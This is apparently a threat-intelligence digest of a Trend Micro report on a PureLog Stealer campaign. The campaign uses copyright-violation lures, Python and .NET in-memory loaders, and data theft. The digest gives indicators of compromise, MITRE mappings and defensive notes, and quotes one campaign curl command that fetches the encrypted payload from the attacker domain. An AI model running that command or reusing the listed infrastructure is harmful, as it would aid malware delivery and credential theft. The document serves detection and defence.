PureLog Stealer Campaign Uses Copyright Lures and Fileless, Multi-Stage Delivery

Summary
Trend Micro details a targeted PureLog Stealer campaign using localized copyright-violation lures, encrypted staged payloads, and Python and .NET loaders to evade detection and steal sensitive data.
Key points
- The campaign uses language-matched copyright-violation notices, likely delivered through phishing links and, in some cases, Google Ads malvertising.
- Its delivery chain disguises an encrypted archive as a PDF, retrieves the decryption key remotely, and uses a renamed WinRAR utility to extract payloads.
- A Python-based loader bypasses AMSI, establishes registry persistence, fingerprints victims, captures screenshots, and executes encrypted .NET assemblies in memory.
- Two obfuscated .NET loaders run concurrently as a fallback mechanism and deliver PureLog Stealer without writing the final payload to disk.
- The stealer targets browser credentials, extensions, cryptocurrency wallets, and system information, and communicates with PureLog-associated infrastructure.
- Observed targets span healthcare, government, hospitality, and education organizations in Germany, Canada, the United States, and Australia.
Article Details
- Attack Vectors
- A user manually executes an executable disguised as a localized copyright-violation notice; the article reports no exploit or vulnerability at this stage.
- The campaign likely uses phishing emails with malicious download links and was also reported to use Google Ads malvertising.
- The infection chain downloads an encrypted payload disguised as a PDF, retrieves its password from a separate endpoint, and extracts it using a renamed WinRAR executable.
- A Python-based loader and two .NET loaders execute PureLog Stealer in memory; the article also reports DLL sideloading and an observed process-injection attempt.
- Defensive Notes
- Avoid clicking links in unsolicited or unexpected emails.
- The TrendAI Vision One detection model described in the article identifies direct executable downloads from URLs containing Google Ads tracking parameters, subject to a domain whitelist.
- The article recommends behavioral detection, network telemetry, and proactive threat hunting to identify the campaign.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| DOMAIN | dq[.]bestshoppingday[.]com | Domain observed in DNS telemetry during investigation of the campaign. |
| DOMAIN | logs[.]bestsaleshoppingday[.]com | Domain identified among infrastructure previously observed in the investigated incident. |
| DOMAIN | logs[.]bestshopingday[.]com | Domain described by the article as strongly associated with PureLog Stealer. |
| DOMAIN | mh[.]bestshopingday[.]com | Domain identified among infrastructure previously observed in the investigated incident. |
| DOMAIN | quickdocshare[.]com | Payload-delivery and password-retrieval infrastructure used by the campaign. |
| IPV4 | 166[.]0[.]184[.]127 | Identified as a PureLog Stealer C&C server. |
| SHA1 | f4532fc1e5d53a732fcc883f7125ceb06b985048 | SHA-1 hash of svchost.exe, identified as a renamed Python application extracted by the campaign. |
| SHA256 | 1539dab6099d860add8330bf2a008a4b6dc05c71f7b4439aebf431e034e5b6ff | SHA-256 hash of the malicious lure executable, also identified as renamed ADNotificationManager.exe. |
| SHA256 | 35efc4b75a1d70c38513b4dfe549da417aaa476bf7e9ebd00265aaa8c7295870 | SHA-256 hash of the malicious lure ZIP archive. |
| SHA256 | ac591adea9a2305f9be6ae430996afd9b7432116f381b638014a0886a99c6287 | SHA-256 hash of the urlmon.dll shellcode loader. |
| URL | hxxps[:]//cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip | Specific URL identified as distributing the malicious lure archive. |
| URL | hxxps[:]//quickdocshare[.]com/DQ | Attacker-used URL from which the encrypted payload was downloaded. |
| URL | hxxps[:]//quickdocshare[.]com/DQ/key | Attacker-used endpoint that supplied the payload decryption password; shown in the article in this form. |
MITRE ATT&CK
T1027 · Obfuscated Files or InformationThe article describes encrypted payloads and heavily obfuscated Python and .NET loaders.T1033 · System Owner/User DiscoveryThe loader collects the logged-in username as victim identity data.T1041 · Exfiltration Over C2 ChannelThe loader sends collected screenshot and victim information to the C&C server in an HTTPS POST.T1055 · Process InjectionThe article reports an observed process-injection attempt targeting a Chrome renderer process.T1059.003 · Windows Command ShellThe lure launches cmd.exe to run the campaign's command sequence.T1059.006 · PythonA Python-based loader executes the instructions.pdf script and launches the .NET payloads.T1071.001 · Web ProtocolsThe loader communicates with its C&C server over HTTPS.T1082 · System Information DiscoveryThe campaign collects machine and system information, including a hostname and operating-system details.T1105 · Ingress Tool TransferThe command sequence downloads the encrypted payload from campaign infrastructure.T1113 · Screen CaptureThe loader captures the full desktop and prepares the screenshot for exfiltration.T1140 · Deobfuscate/Decode Files or InformationThe chain retrieves a password and extracts the encrypted archive; the loaders also decrypt payloads before execution.T1204.002 · Malicious FileThe infection begins when a victim manually executes the executable disguised as a legal notice.T1518.001 · Security Software DiscoveryThe malware enumerates installed antivirus products using the SecurityCenter2 namespace.T1547.001 · Registry Run Keys / Startup FolderThe loader creates an autorun entry under the current user's registry Run key.T1566.002 · Spearphishing LinkThe article says the campaign likely used phishing emails containing malicious download URLs.T1574.002 · DLL Side-LoadingThe article identifies DLL sideloading as the method used to initiate execution.T1620 · Reflective Code LoadingThe Python loader reflectively loads and executes a decrypted .NET assembly in memory.
People
Malware
Vendors
Products
Google ChromeThe following command launches Microsoft Edge and Google Chrome as a renderer process for an extension, using a temporary user profile, disabling the sandbox, and marking an insecure origin as secure.Trend Micro Apex One AntivirusWindows Defender, Trend Micro Apex One AntivirusTrendAI Vision OneTrendAI Vision One™ detectionWindows DefenderWindows Defender, Trend Micro Apex One Antivirus
Tools
ConfuserExBoth loaders are structurally identical .NET assemblies protected by ConfuserEx, a state-machine-based obfuscator that fragments control flow across hundreds of switch-case branches, making static analysis extremelycurlcurl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ" -o ".\_\invoice.pdf"WinRARInstead of using built-in decryption code, the campaign abuses a renamed WinRAR utility disguised as a PNG image to extract the payload.
Countries
AustraliaAustraliaCanadaWe have observed this campaign targeting healthcare and government organizations in Germany and Canada the most, demonstrating selective victimology and a structured, evasive delivery framework rather than simple massGermanyWe have observed this campaign targeting healthcare and government organizations in Germany and Canada the most, demonstrating selective victimology and a structured, evasive delivery framework rather than simple massUnited StatesUnited States
Industries
EducationEvidence from telemetry confirms C&C communication with PureLog‑associated infrastructure, targeting organizations in healthcare, government, hospitality, and education sectors.GovernmentEvidence from telemetry confirms C&C communication with PureLog‑associated infrastructure, targeting organizations in healthcare, government, hospitality, and education sectors.HealthcareEvidence from telemetry confirms C&C communication with PureLog‑associated infrastructure, targeting organizations in healthcare, government, hospitality, and education sectors.HospitalityEvidence from telemetry confirms C&C communication with PureLog‑associated infrastructure, targeting organizations in healthcare, government, hospitality, and education sectors.